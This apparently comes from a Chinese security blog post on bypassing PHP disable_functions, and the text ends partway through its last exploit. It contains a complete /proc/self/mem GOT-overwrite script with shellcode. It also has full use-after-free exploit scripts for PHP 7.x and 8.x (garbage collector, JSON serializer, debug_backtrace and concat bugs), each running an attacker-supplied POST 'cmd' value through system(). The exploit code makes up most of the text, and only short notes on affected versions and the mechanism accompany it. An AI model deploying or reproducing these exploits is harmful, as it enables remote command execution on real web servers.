linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件
将 gconv-modules 和编译好的 payload.so 传入tmp后执行1.php即可
写shellcode劫持got表 深入了解GOT,PLT和动态链接
劫持got表的思路
读 /proc/self/maps 和 /proc/self/exe ,分别找到程序基地址,栈地址,libc地址和利用函数(open)的got表地址
写 /proc/self/mem ,修改利用函数(open)的got表地址为存放shellcode的地址
构造shellcode并写入
通过例如readfile等可以调用open函数的函数来触发shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 <?php define ('SHT_NULL' ,0 );define ('SHT_PROGBITS' ,1 );define ('SHT_SYMTAB' ,2 );define ('SHT_STRTAB' ,3 );define ('SHT_RELA' ,4 );define ('SHT_HASH' ,5 );define ('SHT_DYNAMIC' ,6 );define ('SHT_NOTE' ,7 );define ('SHT_NOBITS' ,8 );define ('SHT_REL' ,9 );define ('SHT_SHLIB' ,10 );define ('SHT_DNYSYM' ,11 );define ('SHT_INIT_ARRAY' ,14 );define ('SHT_FINI_ARRAY' ,15 );define ('SHT_GNU_HASH' ,0x6ffffff6 );define ('SHT_GNU_versym' ,0x6fffffff );define ('SHT_GNU_verneed' ,0x6ffffffe );class elf { private $elf_bin ; private $strtab_section =array (); private $rel_plt_section =array (); private $dynsym_section =array (); public $shared_librarys =array (); public $rel_plts =array (); public function getElfBin ( ) { return $this ->elf_bin; } public function setElfBin ($elf_bin ) { $this ->elf_bin = fopen ($elf_bin ,"rb" ); } public function unp ($value ) { return hexdec (bin2hex (strrev ($value ))); } public function get ($start ,$len ) { fseek ($this ->elf_bin,$start ); $data =fread ($this ->elf_bin,$len ); rewind ($this ->elf_bin); return $this ->unp ($data ); } public function get_section ($elf_bin ="" ) { if ($elf_bin ){ $this ->setElfBin ($elf_bin ); } $this ->elf_shoff=$this ->get (0x28 ,8 ); $this ->elf_shentsize=$this ->get (0x3a ,2 ); $this ->elf_shnum=$this ->get (0x3c ,2 ); $this ->elf_shstrndx=$this ->get (0x3e ,2 ); for ($i =0 ;$i <$this ->elf_shnum;$i +=1 ){ $sh_type =$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+4 ,4 ); switch ($sh_type ){ case SHT_STRTAB: $this ->strtab_section[$i ]= array ( 'strtab_offset' =>$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+24 ,8 ), 'strtab_size' =>$this ->strtab_size=$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+32 ,8 ) ); break ; case SHT_RELA: $this ->rel_plt_section[$i ]= array ( 'rel_plt_offset' =>$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+24 ,8 ), 'rel_plt_size' =>$this ->strtab_size=$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+32 ,8 ), 'rel_plt_entsize' =>$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+56 ,8 ) ); break ; case SHT_DNYSYM: $this ->dynsym_section[$i ]= array ( 'dynsym_offset' =>$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+24 ,8 ), 'dynsym_size' =>$this ->strtab_size=$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+32 ,8 ), 'dynsym_entsize' =>$this ->get ($this ->elf_shoff+$i *$this ->elf_shentsize+56 ,8 ) ); break ; case SHT_NULL: case SHT_PROGBITS: case SHT_DYNAMIC: case SHT_SYMTAB: case SHT_NOBITS: case SHT_NOTE: case SHT_FINI_ARRAY: case SHT_INIT_ARRAY: case SHT_GNU_versym: case SHT_GNU_HASH: break ; default : } } } public function get_reloc ( ) { $rel_plts =array (); $dynsym_section = reset ($this ->dynsym_section); $strtab_section =reset ($this ->strtab_section); foreach ($this ->rel_plt_section as $rel_plt ){ for ($i =$rel_plt ['rel_plt_offset' ];$i <$rel_plt ['rel_plt_offset' ]+$rel_plt ['rel_plt_size' ];$i +=$rel_plt ['rel_plt_entsize' ]) { $rel_offset =$this ->get ($i ,8 ); $rel_info =$this ->get ($i +8 ,8 )>>32 ; $fun_name_offset =$this ->get ($dynsym_section ['dynsym_offset' ]+$rel_info *$dynsym_section ['dynsym_entsize' ],4 ); $fun_name_offset =$strtab_section ['strtab_offset' ]+$fun_name_offset -1 ; $fun_name ='' ; while ($this ->get (++$fun_name_offset ,1 )!="" ){ $fun_name .=chr ($this ->get ($fun_name_offset ,1 )); } $rel_plts [$fun_name ]=$rel_offset ; } } $this ->rel_plts=$rel_plts ; } public function get_shared_library ($elf_bin ="" ) { if ($elf_bin ){ $this ->setElfBin ($elf_bin ); } $shared_librarys =array (); $dynsym_section =reset ($this ->dynsym_section); $strtab_section =reset ($this ->strtab_section); for ($i =$dynsym_section ['dynsym_offset' ]+$dynsym_section ['dynsym_entsize' ];$i <$dynsym_section ['dynsym_offset' ]+$dynsym_section ['dynsym_size' ];$i +=$dynsym_section ['dynsym_entsize' ]) { $shared_library_offset =$this ->get ($i +8 ,8 ); $fun_name_offset =$this ->get ($i ,4 ); $fun_name_offset =$fun_name_offset +$strtab_section ['strtab_offset' ]-1 ; $fun_name ='' ; while ($this ->get (++$fun_name_offset ,1 )!="" ){ $fun_name .=chr ($this ->get ($fun_name_offset ,1 )); } $shared_librarys [$fun_name ]=$shared_library_offset ; } $this ->shared_librarys=$shared_librarys ; } public function close ( ) { fclose ($this ->elf_bin); } public function __destruct ( ) { $this ->close (); } public function packlli ($value ) { $higher = ($value & 0xffffffff00000000 ) >> 32 ; $lower = $value & 0x00000000ffffffff ; return pack ('V2' , $lower , $higher ); } }$test =new elf ();$test ->get_section ('/proc/self/exe' ); $test ->get_reloc (); $open_php =$test ->rel_plts['open' ];$maps = file_get_contents ('/proc/self/maps' );preg_match ('/(\w+)-(\w+)\s+.+\[stack]/' , $maps , $stack );preg_match ('/(\w+)-(\w+).*?libc-/' ,$maps ,$libcgain );$libc_base = "0x" .$libcgain [1 ];echo "Libc base: " .$libc_base ."\n" ;echo "Stack location: " .$stack [1 ]."\n" ;$pie_base = hexdec ("0x" .(explode ('-' , $maps )[0 ]));echo "PIE base: " .$pie_base ."\n" ;$test2 =new elf ();preg_match ('#.*?(/.*libc-\d.\d\d.so)#' ,$maps ,$libc ); $test2 ->get_section ($libc [1 ]);$test2 ->get_reloc ();$test2 ->get_shared_library (); $sys = $test2 ->shared_librarys['system' ]; $sys_addr = $sys + hexdec ($libc_base ); echo "system addr: " .$sys_addr ."\n" ;$mem = fopen ('/proc/self/mem' ,'wb' ); $shellcode_loc = $pie_base + 0x2333 ; fseek ($mem ,$open_php ); fwrite ($mem ,$test ->packlli ($shellcode_loc )); $command ="ls > /var/www/html/1.txt" ;$stack =hexdec ("0x" .$stack [1 ]);fseek ($mem , $stack ); fwrite ($mem , "{$command} \x00" ); $cmd = $stack ; $shellcode = "H\xbf" .$test ->packlli ($cmd )."H\xb8" .$test ->packlli ($sys_addr )."P\xc3" ;fseek ($mem ,$shellcode_loc ); fwrite ($mem ,$shellcode ); readfile ('aaa' ,'r' ); echo "DONE\n" ;exit ();
其中的shellcode为
1 2 3 4 5 6 7 8 9 10 11 >>> from pwn import *>>> context.arch = "amd64" >>> shellcode=''' ... mov rdi,0xffffffff... mov rax,0xffffffff... push rax... ret... ''' >>>>>> asm(shellcode)b'H\xbf\xff\xff\xff\xff\x00\x00\x00\x00H\xb8\xff\xff\xff\xff\x00\x00\x00\x00P\xc3'
利用条件
/proc/self/mem 可读写
Linux 内核版本 >= 2.98
PHP-CGI 或 PHP-FPM 启动
apache+php 由于 apache 调用 setuid 设置 www-data 权限工作进程,/proc/self/mem 属于 www-data 且权限是600,/proc/self/ 目录属于root用户,导致没有权限读写
但是对于 Nginx+php ,且为低版本的 php-fpm(PHP<5.6),/proc/self/属于 www-data ,可以通过写入GOT表来实现RCE
注:我在实际利用中并没有成功
利用UAF Bypass 各种利用二进制漏洞去攻击的手法 原理就不细说了,也不太懂pwn,放链接了
php7_GC_UAF(PHP 7.0-7.3) 利用条件
Linux 操作系统
PHP7.0 - all versions to date
PHP7.1 - all versions to date
PHP7.2 - all versions to date
PHP7.3 - all versions to date
原理
通过PHP垃圾收集器中堆溢出来绕过 disable_functions 并执行系统命令
PHP中的内存破坏漏洞利用学习(1st)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 <?php pwn ($_POST ['cmd' ]);function pwn ($cmd ) { global $abc , $helper ; function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= chr ($ptr & 0xff ); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = chr ($v & 0xff ); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } class ryat { var $ryat ; var $chtg ; function __destruct ( ) { $this ->chtg = $this ->ryat; $this ->ryat = 1 ; } } class Helper { public $a , $b , $c , $d ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_repeat ('A' , 79 ); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}' ; $out = unserialize ($poc ); gc_collect_cycles (); $v = []; $v [0 ] = ptr2str (0 , 79 ); unset ($v ); $abc = $out [2 ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); }
JSON_Serializer_UAF(PHP 7.1-7.3) 利用条件
Linux 操作系统
PHP7.1 - all versions to date
PHP7.2 < 7.2.19 (released: 30 May 2019)
PHP7.3 < 7.3.6 (released: 30 May 2019)
原理
此漏洞利用json序列化程序中的释放后使用漏洞,利用json序列化程序中的堆溢出触发,以绕过 disable_functions 和执行系统命令
Use after free with json serializer
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 <?php $cmd = $_POST ['cmd' ];$n_alloc = 10 ; class MySplFixedArray extends SplFixedArray { public static $leak ; }class Z implements JsonSerializable { public function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = chr ($v & 0xff ); $v >>= 8 ; } } public function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } public function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= chr ($ptr & 0xff ); $ptr >>= 8 ; } return $out ; } public function leak1 ($addr ) { global $spl1 ; $this ->write ($this ->abc, 8 , $addr - 0x10 ); return strlen (get_class ($spl1 )); } public function leak2 ($addr , $p = 0 , $s = 8 ) { global $spl1 , $fake_tbl_off ; $this ->write ($this ->abc, $fake_tbl_off + 0x10 , 0xdeadbeef ); $this ->write ($this ->abc, $fake_tbl_off + 0x18 , $addr + $p - 0x10 ); $this ->write ($this ->abc, $fake_tbl_off + 0x20 , 6 ); $leak = strlen ($spl1 ::$leak ); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } public function parse_elf ($base ) { $e_type = $this ->leak2 ($base , 0x10 , 2 ); $e_phoff = $this ->leak2 ($base , 0x20 ); $e_phentsize = $this ->leak2 ($base , 0x36 , 2 ); $e_phnum = $this ->leak2 ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = $this ->leak2 ($header , 0 , 4 ); $p_flags = $this ->leak2 ($header , 4 , 4 ); $p_vaddr = $this ->leak2 ($header , 0x10 ); $p_memsz = $this ->leak2 ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } public function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = $this ->leak2 ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = $this ->leak2 ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = $this ->leak2 ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = $this ->leak2 ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } public function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = $this ->leak2 ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } public function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = $this ->leak2 ($addr ); $f_name = $this ->leak2 ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return $this ->leak2 ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } public function jsonSerialize ( ) { global $y , $cmd , $spl1 , $fake_tbl_off , $n_alloc ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = new DateInterval ('PT1S' ); $room = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $room [] = new Z (); $_protector = $this ->ptr2str (0 , 78 ); $this ->abc = $this ->ptr2str (0 , 79 ); $p = new DateInterval ('PT1S' ); unset ($y [0 ]); unset ($p ); $protector = ".$_protector " ; $x = new DateInterval ('PT1S' ); $x ->d = 0x2000 ; $x ->h = 0xdeadbeef ; if ($this ->str2ptr ($this ->abc) != 0xdeadbeef ) { die ('UAF failed.' ); } $spl1 = new MySplFixedArray (); $spl2 = new MySplFixedArray (); $class_entry = $this ->str2ptr ($this ->abc, 0x120 ); $handlers = $this ->str2ptr ($this ->abc, 0x128 ); $php_heap = $this ->str2ptr ($this ->abc, 0x1a8 ); $abc_addr = $php_heap - 0x218 ; $fake_obj = $abc_addr ; $this ->write ($this ->abc, 0 , 2 ); $this ->write ($this ->abc, 0x120 , $abc_addr ); for ($i = 0 ; $i < 16 ; $i ++) { $this ->write ($this ->abc, 0x10 + $i * 8 , $this ->leak1 ($class_entry + 0x10 + $i * 8 )); } $fake_tbl_off = 0x70 * 4 - 16 ; $this ->write ($this ->abc, 0x30 , $abc_addr + $fake_tbl_off ); $this ->write ($this ->abc, 0x38 , $abc_addr + $fake_tbl_off ); $this ->write ($this ->abc, $fake_tbl_off , $abc_addr + $fake_tbl_off + 0x10 ); $this ->write ($this ->abc, $fake_tbl_off + 8 , 10 ); $binary_leak = $this ->leak2 ($handlers + 0x10 ); if (!($base = $this ->get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = $this ->parse_elf ($base ))) { die ("Couldn't parse ELF" ); } if (!($basic_funcs = $this ->get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = $this ->get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_bkt_off = 0x70 * 5 - 16 ; $function_data = $this ->str2ptr ($this ->abc, 0x50 ); for ($i = 0 ; $i < 4 ; $i ++) { $this ->write ($this ->abc, $fake_bkt_off + $i * 8 , $this ->leak2 ($function_data + 0x40 * 4 , $i * 8 )); } $fake_bkt_addr = $abc_addr + $fake_bkt_off ; $this ->write ($this ->abc, 0x50 , $fake_bkt_addr ); for ($i = 0 ; $i < 3 ; $i ++) { $this ->write ($this ->abc, 0x58 + $i * 4 , 1 , 4 ); } $function_zval = $this ->str2ptr ($this ->abc, $fake_bkt_off ); for ($i = 0 ; $i < 12 ; $i ++) { $this ->write ($this ->abc, $fake_bkt_off + 0x70 + $i * 8 , $this ->leak2 ($function_zval , $i * 8 )); } $this ->write ($this ->abc, $fake_bkt_off + 0x70 + 0x30 , $zif_system ); $this ->write ($this ->abc, $fake_bkt_off , $fake_bkt_addr + 0x70 ); $spl1 ->offsetGet ($cmd ); exit (); } }$y = [new Z ()];json_encode ([&$y ]);
php7_Backtrace_UAF(PHP 7.0-7.4) 利用条件
Linux 操作系统
PHP7.0 - all versions to date
PHP7.1 - all versions to date
PHP7.2 - all versions to date
PHP7.3 < 7.3.15 (released 20 Feb 2020)
PHP7.4 < 7.4.3 (released 20 Feb 2020)
原理
该漏洞利用在 debug_backtrace() 函数中使用了两年的一个 bug。我们可以诱使它返回对已被破坏的变量的引用,从而导致释放后使用漏洞
Use-after-free when accessing already destructed backtrace arguments
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 <?php pwn ($_POST ['cmd' ]);function pwn ($cmd ) { global $abc , $helper , $backtrace ; class Vuln { public $a ; public function __destruct ( ) { global $backtrace ; unset ($this ->a); $backtrace = (new Exception )->getTrace (); if (!isset ($backtrace [1 ]['args' ])) { $backtrace = debug_backtrace (); } } } class Helper { public $a , $b , $c , $d ; } function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= chr ($ptr & 0xff ); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = chr ($v & 0xff ); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle (str_repeat ('A' , 79 )); $vuln = new Vuln (); $vuln ->a = $arg ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_shuffle (str_repeat ('A' , 79 )); trigger_uaf ('x' ); $abc = $backtrace [1 ]['args' ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); }
php_Concat_UAF(PHP 7.3-8.1) 利用条件
Linux 操作系统
PHP7.3 - all versions to date
PHP7.4 - all versions to date
PHP8.0 - all versions to date
PHP8.1 - all versions to date
原理
此漏洞利用了处理字符串连接的函数中的错误。如果满足某些条件,诸如 $a.$b 之类的语句可能会导致内存损坏。错误报告提供了对该漏洞的非常详尽的分析
type confusion/UAF on set_error_handler with concat operation
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 <?php new Pwn ($_POST ['cmd' ]);class Helper { public $a , $b , $c ; }class Pwn { const LOGGING = false ; const CHUNK_DATA_SIZE = 0x60 ; const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self ::CHUNK_DATA_SIZE + 0x20 : self ::CHUNK_DATA_SIZE ; const STRING_SIZE = self ::CHUNK_DATA_SIZE - 0x18 - 